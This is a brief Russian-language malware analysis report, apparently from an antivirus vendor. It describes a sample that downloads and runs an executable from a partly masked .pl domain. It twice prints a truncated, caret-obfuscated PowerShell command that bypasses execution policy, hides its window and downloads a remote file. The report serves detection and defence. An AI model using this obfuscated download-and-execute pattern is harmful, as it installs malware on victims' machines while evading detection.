Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://lt##.#sianetwork.pl/file/hon.vfr как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "POW^Ers^hE^Ll.^exe -^E^X^e^c^u^TIOnPOl^icy^ bY^pASs ^-^NopRo^fI^l^E ^-^windOwSTYlE ^H^iD^D^En ^(new-obJEC^t sYste^M.^ne^t^.WE^Bcli^E^nT).^d^O^wN^LO^A^dfI^le('http://lt##....
Сетевая активность
UDP
- DNS ASK lt##.#sianetwork.pl
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "POW^Ers^hE^Ll.^exe -^E^X^e^c^u^TIOnPOl^icy^ bY^pASs ^-^NopRo^fI^l^E ^-^windOwSTYlE ^H^iD^D^En ^(new-obJEC^t sYste^M.^ne^t^.WE^Bcli^E^nT).^d^O^wN^LO^A^dfI^le('http://lt##....' (со скрытым окном)
